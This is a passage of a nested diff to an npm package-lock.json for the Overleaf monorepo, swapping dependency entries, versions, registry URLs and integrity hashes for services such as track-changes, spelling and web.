++ "options": ">=0.0.5",
++ "tinycolor": "0.x"
+ }
+ }
+ }
+ },
+- "@overleaf/project-history": {
+- "version": "file:services/project-history",
++ "@overleaf/redis-wrapper": {
++ "version": "file:libraries/redis-wrapper",
++ "requires": {
++ "@overleaf/logger": "*",
++ "@overleaf/o-error": "^3.4.0",
++ "async": "^3.2.2",
++ "chai": "^4.3.6",
++ "ioredis": "~4.27.1",
++ "mocha": "^8.4.0",
++ "sandboxed-module": "^2.0.4",
++ "sinon": "^9.2.4"
++ }
++ },
++ "@overleaf/settings": {
++ "version": "file:libraries/settings"
++ },
++ "@overleaf/spelling": {
++ "version": "file:services/spelling",
++ "requires": {
++ "@overleaf/logger": "^3.1.0",
++ "@overleaf/metrics": "^4.0.0",
++ "@overleaf/o-error": "^3.4.0",
++ "@overleaf/settings": "^3.0.0",
++ "async": "^3.2.2",
++ "body-parser": "^1.19.0",
++ "bunyan": "^1.8.15",
++ "chai": "^4.3.6",
++ "chai-as-promised": "^7.1.1",
++ "express": "^4.17.1",
++ "lru-cache": "^5.1.1",
++ "mocha": "^8.4.0",
++ "mongodb": "^3.6.0",
++ "request": "^2.88.2",
++ "sandboxed-module": "2.0.4",
++ "sinon": "^9.2.4",
++ "underscore": "1.13.1"
++ },
++ "dependencies": {
++ "underscore": {
++ "version": "1.13.1",
++ "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.1.tgz",
++ "integrity": "sha512-hzSoAVtJF+3ZtiFX0VgfFPHEDRm7Y/QPjGyNo4TVdnDTdft3tr8hEkD25a1jC+TjTuE7tkHGKkhwCgs9dgBB2g=="
++ }
++ }
++ },
++ "@overleaf/track-changes": {
++ "version": "file:services/track-changes",
+ "requires": {
+ "@overleaf/logger": "^3.1.0",
+ "@overleaf/metrics": "^4.0.0",
+@@ -41395,63 +33820,34 @@
+ "@overleaf/redis-wrapper": "^2.0.0",
+ "@overleaf/settings": "^3.0.0",
+ "async": "^3.2.2",
+- "aws-sdk": "^2.650.0",
+- "bluebird": "^3.7.2",
++ "aws-sdk": "^2.643.0",
+ "body-parser": "^1.19.0",
++ "bson": "^1.1.5",
+ "bunyan": "^1.8.15",
+- "byline": "^4.2.1",
+- "celebrate": "^10.1.0",
++ "byline": "^5.0.0",
+ "chai": "^4.3.6",
+ "chai-as-promised": "^7.1.1",
+ "cli": "^1.0.1",
+- "diff-match-patch": "https://github.com/overleaf/diff-match-patch/archive/89805f9c671a77a263fc53461acd62aa7498f688.tar.gz",
+ "express": "4.17.1",
+ "heap": "^0.2.6",
+ "JSONStream": "^1.3.5",
+- "line-reader": "^0.2.4",
+- "lodash": "^4.17.20",
++ "line-reader": "^0.4.0",
++ "lodash": "^4.17.21",
+ "memorystream": "0.3.1",
+ "mocha": "^8.4.0",
+ "mongo-uri": "^0.1.2",
+ "mongodb": "^3.6.0",
+- "multer": "^1.4.2",
+- "nock": "^12.0.3",
+- "overleaf-editor-core": "*",
+ "redis": "~0.10.1",
+- "request": "^2.88.2",
+- "requestretry": "^1.12.2",
++ "request": "~2.88.2",
++ "requestretry": "^4.1.0",
++ "s3-streams": "^0.4.0",
+ "sandboxed-module": "~2.0.3",
+ "sinon": "~9.0.1",
+- "sinon-chai": "^3.7.0",
+ "timekeeper": "2.2.0",
+- "underscore": "^1.13.1",
+- "uuid": "^3.1.0"
++ "underscore": "~1.13.1",
++ "yazl": "^2.5.1"
+ },
+ "dependencies": {
+- "@hapi/address": {
+- "version": "2.1.4",
+- "resolved": "https://registry.npmjs.org/@hapi/address/-/address-2.1.4.tgz",
+- "integrity": "sha512-QD1PhQk+s31P1ixsX0H0Suoupp3VMXzIVMSwobR3F3MSUO2YCV0B7xqLcUw/Bh8yuvd3LhpyqLQWTNcRmp6IdQ=="
+- },
+- "@hapi/joi": {
+- "version": "15.1.1",
+- "resolved": "https://registry.npmjs.org/@hapi/joi/-/joi-15.1.1.tgz",
+- "integrity": "sha512-entf8ZMOK8sc+8YfeOlM8pCfg3b5+WZIKBfUaaJT8UsjAAPjartzxIYm3TIbjvA4u+u++KbcXD38k682nVHDAQ==",
+- "requires": {
+- "@hapi/address": "2.x.x",
+- "@hapi/bourne": "1.x.x",
+- "@hapi/hoek": "8.x.x",
+- "@hapi/topo": "3.x.x"
+- }
+- },
+- "@hapi/topo": {
+- "version": "3.1.6",
+- "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-3.1.6.tgz",
+- "integrity": "sha512-tAag0jEcjwH+P2quUfipd7liWCNX2F8NvYjQp2wtInsZxnMlypdw0FtAOLxtvvkO+GSRRbmNi8m/5y42PQJYCQ==",
+- "requires": {
+- "@hapi/hoek": "^8.3.0"
+- }
+- },
+ "body-parser": {
+ "version": "1.19.0",
+ "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz",
+@@ -41467,38 +33863,18 @@
+ "qs": "6.7.0",
+ "raw-body": "2.4.0",
+ "type-is": "~1.6.17"
+- },
+- "dependencies": {
+- "debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "requires": {
+- "ms": "2.0.0"
+- }
+- },
+- "ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- }
+ }
+ },
++ "byline": {
++ "version": "5.0.0",
++ "resolved": "https://registry.npmjs.org/byline/-/byline-5.0.0.tgz",
++ "integrity": "sha1-dBxSFkaOrcRXsDQQEYrXfejB3bE="
++ },
+ "bytes": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz",
+ "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg=="
+ },
+- "celebrate": {
+- "version": "10.1.0",
+- "resolved": "https://registry.npmjs.org/celebrate/-/celebrate-10.1.0.tgz",
+- "integrity": "sha512-Ybkb+/mek6nl4HZljFGUtma8r1Dq0ClYiHf5RVV3msoDFRsJlAFIR8J6+dKwL4EhgihIPFdBOMc6KFO9izMA9g==",
+- "requires": {
+- "@hapi/joi": "15.x.x",
+- "escape-html": "1.0.3",
+- "lodash.get": "4.4.x"
+- }
+- },
+ "content-disposition": {
+ "version": "0.5.3",
+ "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz",
+@@ -41517,6 +33893,14 @@
+ "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
+ "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw="
+ },
++ "debug": {
++ "version": "2.6.9",
++ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
++ "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
++ "requires": {
++ "ms": "2.0.0"
++ }
++ },
+ "diff": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
+@@ -41558,21 +33942,6 @@
+ "type-is": "~1.6.18",
+ "utils-merge": "1.0.1",
+ "vary": "~1.1.2"
+- },
+- "dependencies": {
+- "debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "requires": {
+- "ms": "2.0.0"
+- }
+- },
+- "ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- }
+ }
+ },
+ "http-errors": {
+@@ -41592,33 +33961,20 @@
+ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
+ "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
+ },
++ "line-reader": {
++ "version": "0.4.0",
++ "resolved": "https://registry.npmjs.org/line-reader/-/line-reader-0.4.0.tgz",
++ "integrity": "sha1-F+RIGNoKwzVnW6MAlU+U72cOZv0="
++ },
+ "mime": {
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+ "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="
+ },
+ "ms": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
+- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg=="
+- },
+- "nock": {
+- "version": "12.0.3",
+- "resolved": "https://registry.npmjs.org/nock/-/nock-12.0.3.tgz",
+- "integrity": "sha512-QNb/j8kbFnKCiyqi9C5DD0jH/FubFGj5rt9NQFONXwQm3IPB0CULECg/eS3AU1KgZb/6SwUa4/DTRKhVxkGABw==",
+- "dev": true,
+- "requires": {
+- "debug": "^4.1.0",
+- "json-stringify-safe": "^5.0.1",
+- "lodash": "^4.17.13",
+- "propagate": "^2.0.0"
+- }
+- },
+- "propagate": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/propagate/-/propagate-2.0.1.tgz",
+- "integrity": "sha512-vGrhOavPSTz4QVNuBNdcNXePNdNMaO1xj9yBeH1ScQPjk/rhg9sSlCXPhMkFuaNNW/syTvYqsnbIJxMBfRbbag==",
+- "dev": true
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
++ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+ },
+ "qs": {
+ "version": "6.7.0",
+@@ -41636,17 +33992,6 @@
+ "unpipe": "1.0.0"
+ }
+ },
+- "requestretry": {
+- "version": "1.13.0",
+- "resolved": "https://registry.npmjs.org/requestretry/-/requestretry-1.13.0.tgz",
+- "integrity": "sha512-Lmh9qMvnQXADGAQxsXHP4rbgO6pffCfuR8XUBdP9aitJcLQJxhp7YZK4xAVYXnPJ5E52mwrfiKQtKonPL8xsmg==",
+- "requires": {
+- "extend": "^3.0.0",
+- "lodash": "^4.15.0",
+- "request": "^2.74.0",
+- "when": "^3.7.7"
+- }
+- },
+ "send": {
+ "version": "0.17.1",
+ "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz",
+@@ -41667,20 +34012,10 @@
+ "statuses": "~1.5.0"
+ },
+ "dependencies": {
+- "debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "requires": {
+- "ms": "2.0.0"
+- },
+- "dependencies": {
+- "ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- }
+- }
++ "ms": {
++ "version": "2.1.1",
++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
++ "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg=="
+ }
+ }
+ },
+@@ -41731,309 +34066,353 @@
+ }
+ }
+ },
+- "@overleaf/ranges-tracker": {
+- "version": "file:libraries/ranges-tracker",
++ "@overleaf/web": {
++ "version": "file:services/web",
+ "requires": {
+- "mocha": "*"
++ "@babel/cli": "^7.14.5",
++ "@babel/core": "^7.14.5",
++ "@babel/preset-env": "^7.14.5",
++ "@babel/preset-react": "^7.14.5",
++ "@babel/preset-typescript": "^7.16.0",
++ "@babel/register": "^7.14.5",
++ "@codemirror/autocomplete": "^6.3.0",
++ "@codemirror/commands": "^6.1.0",
++ "@codemirror/lang-markdown": "^6.0.1",
++ "@codemirror/language": "^6.2.1",
++ "@codemirror/lint": "^6.0.0",
++ "@codemirror/search": "^6.2.1",
++ "@codemirror/state": "^6.1.2",
++ "@codemirror/view": "^6.3.0",
++ "@cypress/react": "^6.0.0",
++ "@juggle/resize-observer": "^3.3.1",
++ "@lezer/common": "^1.0.1",
++ "@lezer/generator": "^1.1.1",
++ "@lezer/highlight": "^1.1.0",
++ "@lezer/lr": "^1.2.3",
++ "@overleaf/logger": "^3.1.0",
++ "@overleaf/metrics": "^4.0.0",
++ "@overleaf/o-error": "^3.4.0",
++ "@overleaf/object-persistor": "^1.0.1",
++ "@overleaf/ranges-tracker": "*",
++ "@overleaf/redis-wrapper": "^2.0.0",
++ "@overleaf/settings": "^3.0.0",
++ "@pmmmwh/react-refresh-webpack-plugin": "^0.5.7",
++ "@pollyjs/adapter-node-http": "^4.2.1",
++ "@pollyjs/core": "^4.2.1",
++ "@pollyjs/persister-fs": "^4.2.1",
++ "@reach/tabs": "^0.15.0",
++ "@replit/codemirror-emacs": "overleaf/codemirror-emacs#8640addc01bbe99fec0144993d012b6dfc57d6e2",
++ "@replit/codemirror-vim": "overleaf/codemirror-vim#76b21cf77b6c36755cc2be3b41dd17d4c847cc57",
++ "@sentry/browser": "^7.8.1",
++ "@testing-library/cypress": "^8.0.3",
++ "@testing-library/dom": "^8.13.0",
++ "@testing-library/react": "^12.1.5",
++ "@testing-library/react-hooks": "^8.0.0",
++ "@testing-library/user-event": "^14.2.0",
++ "@types/chai": "^4.3.0",
++ "@types/events": "^3.0.0",
++ "@types/express": "^4.17.13",
++ "@types/mocha": "^9.1.0",
++ "@types/react": "^17.0.40",
++ "@types/react-bootstrap": "^0.32.29",
++ "@types/react-dom": "^17.0.13",
++ "@types/sinon-chai": "^3.2.8",
++ "@types/uuid": "^8.3.4",
++ "@typescript-eslint/eslint-plugin": "^5.12.1",
++ "@typescript-eslint/parser": "^5.3.1",
++ "@uppy/core": "^1.15.0",
++ "@uppy/dashboard": "^1.11.0",
++ "@uppy/react": "^1.11.0",
++ "@uppy/utils": "^4.0.7",
++ "@uppy/xhr-upload": "^1.6.8",
++ "abort-controller": "^3.0.0",
++ "accepts": "^1.3.7",
++ "ace-builds": "https://github.com/overleaf/ace-builds/archive/v1.4.12-69aace50e6796d42116f8f96e19d2468d8a88af9.tar.gz",
++ "acorn": "^7.1.1",
++ "acorn-walk": "^7.1.1",
++ "algoliasearch": "^3.35.1",
++ "angular": "~1.8.0",
++ "angular-mocks": "~1.8.0",
++ "angular-sanitize": "~1.8.0",
++ "archiver": "^5.3.0",
++ "async": "3.2.2",
++ "autoprefixer": "^9.7.6",
++ "axios": "^1.1.2",
++ "babel-loader": "^8.2.4",
++ "babel-plugin-angularjs-annotate": "^0.10.0",
++ "babel-plugin-macros": "^3.1.0",
++ "backbone": "^1.3.3",
++ "basic-auth": "^2.0.1",
++ "bcrypt": "^5.0.0",
++ "body-parser": "^1.19.0",
++ "bootstrap": "^3.4.1",
++ "bowser": "^2.11.0",
++ "bufferedstream": "1.6.0",
++ "bull": "^3.18.0",
++ "bunyan": "^1.8.15",
++ "c8": "^7.2.0",
++ "cache-flow": "^1.7.4",
++ "celebrate": "^10.0.1",
++ "chai": "^4.3.6",
++ "chai-as-promised": "^7.1.1",
++ "chai-exclude": "^2.0.3",
++ "cheerio": "^1.0.0-rc.3",
++ "classnames": "^2.2.6",
++ "codemirror": "~5.33.0",
++ "color-alpha": "^1.1.3",
++ "color-parse": "^1.4.2",
++ "connect-redis": "^3.1.0",
++ "content-disposition": "^0.5.0",
++ "contentful": "^6.1.1",
++ "cookie": "^0.2.3",
++ "cookie-parser": "1.3.5",
++ "copy-webpack-plugin": "^10.2.4",
++ "core-js": "^3.6.2",
++ "crypto-js": "^3.1.9-1",
++ "css-loader": "^6.7.1",
++ "css-minimizer-webpack-plugin": "^3.4.1",
++ "csurf": "^1.11.0",
++ "cypress": "^10.2.0",
++ "d3": "^3.5.16",
++ "dateformat": "1.0.4-1.2.3",
++ "daterangepicker": "https://github.com/overleaf/daterangepicker/archive/e496d2d44ca53e208c930e4cb4bcf29bcefa4550.tar.gz",
++ "downshift": "^6.1.0",
++ "east": "^2.0.2",
++ "email-addresses": "^5.0.0",
++ "es6-promise": "^4.2.8",
++ "escodegen": "^2.0.0",
++ "eslint-config-standard-jsx": "^11.0.0-0",
++ "eslint-plugin-cypress": "^2.12.1",
++ "eslint-plugin-jsx-a11y": "^6.5.1",
++ "eslint-plugin-react": "^7.27.0",
++ "eslint-plugin-react-hooks": "^4.3.0",
++ "events": "^3.3.0",
++ "expose-loader": "^3.1.0",
++ "express": "4.17.1",
++ "express-bearer-token": "^2.4.0",
++ "express-http-proxy": "^1.6.0",
++ "express-session": "^1.17.1",
++ "fetch-mock": "^9.10.2",
++ "formik": "^2.2.9",
++ "fs-extra": "^4.0.2",
++ "fuse.js": "^3.0.0",
++ "glob": "^7.1.6",
++ "globby": "^5.0.0",
++ "handlebars": "^4.7.7",
++ "handlebars-loader": "^1.7.1",
++ "helmet": "^3.22.0",
++ "html-webpack-plugin": "^5.5.0",
++ "http-proxy": "^1.18.1",
++ "i18next": "^19.6.3",
++ "i18next-fs-backend": "^1.0.7",
++ "i18next-http-middleware": "^3.0.2",
++ "i18next-scanner": "^3.0.0",
++ "isomorphic-unfetch": "^3.0.0",
++ "jose": "^4.3.8",
++ "jquery": "^2.2.4",
++ "jsdom": "^19.0.0",
++ "jsdom-global": "^3.0.2",
++ "json2csv": "^4.3.3",
++ "jsonwebtoken": "^8.5.1",
++ "karma": "^6.3.17",
++ "karma-chai-sinon": "^0.1.5",
++ "karma-chrome-launcher": "^3.1.0",
++ "karma-mocha": "^2.0.0",
++ "karma-mocha-reporter": "^2.2.5",
++ "karma-requirejs": "^1.1.0",
++ "karma-webpack": "^5.0.0",
++ "ldap-escape": "^2.0.6",
++ "ldapjs": "^0.7.1",
++ "ldapts": "^3.2.4",
++ "less": "^3.11.1",
++ "less-loader": "^10.2.0",
++ "less-plugin-autoprefix": "^2.0.0",
++ "lodash": "^4.17.19",
++ "lru-cache": "^7.10.1",
++ "mailchimp-api-v3": "^1.12.0",
++ "marked": "^4.1.0",
++ "match-sorter": "^6.2.0",
++ "mathjax": "^2.7.9",
++ "mensch": "^0.3.4",
++ "method-override": "^2.3.3",
++ "mini-css-extract-plugin": "^2.6.0",
++ "minimist": "1.2.5",
++ "mmmagic": "^0.5.3",
++ "mocha": "^8.4.0",
++ "mock-fs": "^5.1.2",
++ "moment": "^2.29.4",
++ "mongodb": "~3.6.0",
++ "mongoose": "^5.13.11",
++ "multer": "https://github.com/overleaf/multer/archive/7a2928d7ea2da02dd92888ea1c9ba5704e07aeeb.tar.gz",
++ "nocache": "^2.1.0",
++ "nock": "^13.1.1",
++ "node-fetch": "^2.6.7",
++ "nodemailer": "^6.7.0",
++ "nodemailer-mandrill-transport": "^1.2.0",
++ "nodemailer-ses-transport": "^1.5.1",
++ "nvd3": "^1.8.6",
++ "oauth2-server": "^3.0.1",
++ "otplib": "^12.0.1",
++ "p-limit": "^2.3.0",
++ "parse-data-url": "^2.0.0",
++ "passport": "^0.4.1",
++ "passport-google-oauth20": "^2.0.0",
++ "passport-ldapauth": "^2.1.4",
++ "passport-local": "^1.0.0",
++ "passport-oauth2": "^1.5.0",
++ "passport-orcid": "0.0.4",
++ "passport-saml": "https://github.com/overleaf/passport-saml/releases/download/v3.2.1-overleaf/passport-saml-3.2.1-overleaf.tar.gz",
++ "passport-twitter": "^1.0.4",
++ "pdfjs-dist210": "npm:pdfjs-dist@2.10.377",
++ "pdfjs-dist213": "npm:pdfjs-dist@2.13.216",
++ "pirates": "^4.0.1",
++ "postcss-loader": "^6.2.1",
++ "prop-types": "^15.7.2",
++ "pug": "^3.0.1",
++ "pug-runtime": "^3.0.1",
++ "qrcode": "^1.4.4",
++ "react": "^17.0.2",
++ "react-bootstrap": "^0.33.1",
++ "react-dnd": "^11.1.3",
++ "react-dnd-html5-backend": "^11.1.3",
++ "react-dom": "^17.0.2",
++ "react-error-boundary": "^2.3.1",
++ "react-i18next": "^11.7.1",
++ "react-linkify": "^1.0.0-alpha",
++ "react-refresh": "^0.14.0",
++ "react2angular": "^4.0.6",
++ "react2angular-shared-context": "^1.1.0",
++ "recurly": "^4.0.0",
++ "referer-parser": "0.0.3",
++ "request": "^2.88.2",
++ "request-promise-native": "^1.0.8",
++ "requestretry": "^6.0.0",
++ "requirejs": "^2.3.6",
++ "rimraf": "2.2.6",
++ "rolling-rate-limiter": "^0.2.10",
++ "samlp": "^3.4.1",
++ "sandboxed-module": "https://github.com/overleaf/node-sandboxed-module/archive/cafa2d60f17ce75cc023e6f296eb8de79d92d35d.tar.gz",
++ "sanitize-html": "^1.27.1",
++ "scroll-into-view-if-needed": "^2.2.25",
++ "sinon": "^7.5.0",
++ "sinon-chai": "^3.7.0",
++ "sinon-mongoose": "^2.3.0",
++ "socket.io-mock": "^1.3.1",
++ "sysend": "^1.10.0",
++ "terser-webpack-plugin": "^5.3.1",
++ "timekeeper": "^2.2.0",
++ "to-string-loader": "^1.2.0",
++ "tsscmp": "^1.0.6",
++ "typescript": "^4.5.5",
++ "underscore": "^1.13.1",
++ "unzipper": "^0.10.11",
++ "utf-8-validate": "^5.0.2",
++ "uuid": "^3.0.1",
++ "val-loader": "^4.0.0",
++ "valid-data-url": "^2.0.0",
++ "valid-url": "^1.0.9",
++ "webpack": "^5.71.0",
++ "webpack-assets-manifest": "^5.1.0",
++ "webpack-cli": "^4.9.2",
++ "webpack-dev-server": "^4.7.4",
++ "webpack-merge": "^5.8.0",
++ "worker-loader": "^3.0.8",
++ "xml-crypto": "^2.1.2",
++ "xml2js": "^0.4.22",
++ "xregexp": "^4.3.0",
++ "yauzl": "^2.10.0",
++ "yup": "^0.32.11"
+ },
+ "dependencies": {
+- "brace-expansion": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
+- "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
+- "dev": true,
++ "@hapi/address": {
++ "version": "2.1.4",
++ "resolved": "https://registry.npmjs.org/@hapi/address/-/address-2.1.4.tgz",
++ "integrity": "sha512-QD1PhQk+s31P1ixsX0H0Suoupp3VMXzIVMSwobR3F3MSUO2YCV0B7xqLcUw/Bh8yuvd3LhpyqLQWTNcRmp6IdQ=="
++ },
++ "@hapi/joi": {
++ "version": "15.1.1",
++ "resolved": "https://registry.npmjs.org/@hapi/joi/-/joi-15.1.1.tgz",
++ "integrity": "sha512-entf8ZMOK8sc+8YfeOlM8pCfg3b5+WZIKBfUaaJT8UsjAAPjartzxIYm3TIbjvA4u+u++KbcXD38k682nVHDAQ==",
+ "requires": {
+- "balanced-match": "^1.0.0"
++ "@hapi/address": "2.x.x",
++ "@hapi/bourne": "1.x.x",
++ "@hapi/hoek": "8.x.x",
++ "@hapi/topo": "3.x.x"
+ }
+ },
+- "debug": {
+- "version": "4.3.4",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+- "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+- "dev": true,
++ "@hapi/topo": {
++ "version": "3.1.6",
++ "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-3.1.6.tgz",
++ "integrity": "sha512-tAag0jEcjwH+P2quUfipd7liWCNX2F8NvYjQp2wtInsZxnMlypdw0FtAOLxtvvkO+GSRRbmNi8m/5y42PQJYCQ==",
+ "requires": {
+- "ms": "2.1.2"
+- },
+- "dependencies": {
+- "ms": {
+- "version": "2.1.2",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+- "dev": true
+- }
++ "@hapi/hoek": "^8.3.0"
+ }
+ },
+- "minimatch": {
+- "version": "5.0.1",
+- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.0.1.tgz",
+- "integrity": "sha512-nLDxIFRyhDblz3qMuq+SoRZED4+miJ/G+tdDrjkkkRnjAsBexeGpgjLEQ0blJy7rHhR2b93rhQY4SvyWu9v03g==",
++ "@replit/codemirror-emacs": {
++ "version": "git+ssh://git@github.com/overleaf/codemirror-emacs.git#8640addc01bbe99fec0144993d012b6dfc57d6e2",
++ "integrity": "sha512-qtSe/u/3zai4G2bSwpL7DTfZK/uHViCiAcokqOe+FXKhCLHtrzs5VVgpMwK1JUHLwxo0lpSB4Hkz3epP6K2axw==",
++ "from": "@replit/codemirror-emacs@overleaf/codemirror-emacs#8640addc01bbe99fec0144993d012b6dfc57d6e2",
++ "requires": {}
++ },
++ "@sinonjs/formatio": {
++ "version": "3.2.2",
++ "resolved": "https://registry.npmjs.org/@sinonjs/formatio/-/formatio-3.2.2.tgz",
++ "integrity": "sha512-B8SEsgd8gArBLMD6zpRw3juQ2FVSsmdd7qlevyDqzS9WTCtvF55/gAL+h6gue8ZvPYcdiPdvueM/qm//9XzyTQ==",
+ "dev": true,
+ "requires": {
+- "brace-expansion": "^2.0.1"
++ "@sinonjs/commons": "^1",
++ "@sinonjs/samsam": "^3.1.0"
+ }
+ },
+- "mocha": {
+- "version": "10.0.0",
+- "resolved": "https://registry.npmjs.org/mocha/-/mocha-10.0.0.tgz",
+- "integrity": "sha512-0Wl+elVUD43Y0BqPZBzZt8Tnkw9CMUdNYnUsTfOM1vuhJVZL+kiesFYsqwBkEEuEixaiPe5ZQdqDgX2jddhmoA==",
++ "@sinonjs/samsam": {
++ "version": "3.3.3",
++ "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-3.3.3.tgz",
++ "integrity": "sha512-bKCMKZvWIjYD0BLGnNrxVuw4dkWCYsLqFOUWw8VgKF/+5Y+mE7LfHWPIYoDXowH+3a9LsWDMo0uAP8YDosPvHQ==",
+ "dev": true,
+ "requires": {
+- "@ungap/promise-all-settled": "1.1.2",
+- "ansi-colors": "4.1.1",
+- "browser-stdout": "1.3.1",
+- "chokidar": "3.5.3",
+- "debug": "4.3.4",
+- "diff": "5.0.0",
+- "escape-string-regexp": "4.0.0",
+- "find-up": "5.0.0",
+- "glob": "7.2.0",
+- "he": "1.2.0",
+- "js-yaml": "4.1.0",
+- "log-symbols": "4.1.0",
+- "minimatch": "5.0.1",
+- "ms": "2.1.3",
+- "nanoid": "3.3.3",
+- "serialize-javascript": "6.0.0",
+- "strip-json-comments": "3.1.1",
+- "supports-color": "8.1.1",
+- "workerpool": "6.2.1",
+- "yargs": "16.2.0",
+- "yargs-parser": "20.2.4",
+- "yargs-unparser": "2.0.0"
++ "@sinonjs/commons": "^1.3.0",
++ "array-from": "^2.1.1",
++ "lodash": "^4.17.15"
+ }
+ },
+- "nanoid": {
+- "version": "3.3.3",
+- "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.3.tgz",
+- "integrity": "sha512-p1sjXuopFs0xg+fPASzQ28agW1oHD7xDsd9Xkf3T15H3c/cifrFHVwrh74PdoklAPi+i7MdRsE47vm2r6JoB+w==",
+- "dev": true
+- },
+- "workerpool": {
+- "version": "6.2.1",
+- "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.2.1.tgz",
+- "integrity": "sha512-ILEIE97kDZvF9Wb9f6h5aXK4swSlKGUcOEGiIYb2OOu/IrDU9iwj0fD//SsA6E5ibwJxpEvhullJY4Sl4GcpAw==",
+- "dev": true
++ "@uppy/utils": {
++ "version": "4.0.7",
++ "resolved": "https://registry.npmjs.org/@uppy/utils/-/utils-4.0.7.tgz",
++ "integrity": "sha512-nKViMT8XchKy+NWpb3DtVKuzZBmW7au26LrMq89EsvTwIOT6UR9+7bmz/+zr3+lc7UC7vMgNChIC6G+/Ya9wWQ==",
++ "requires": {
++ "lodash.throttle": "^4.1.1"
++ }
+ },
+- "yargs": {
+- "version": "16.2.0",
+- "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
+- "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
++ "ansi-styles": {
++ "version": "4.3.0",
++ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
++ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "requires": {
+- "cliui": "^7.0.2",
+- "escalade": "^3.1.1",
+- "get-caller-file": "^2.0.5",
+- "require-directory": "^2.1.1",
+- "string-width": "^4.2.0",
+- "y18n": "^5.0.5",
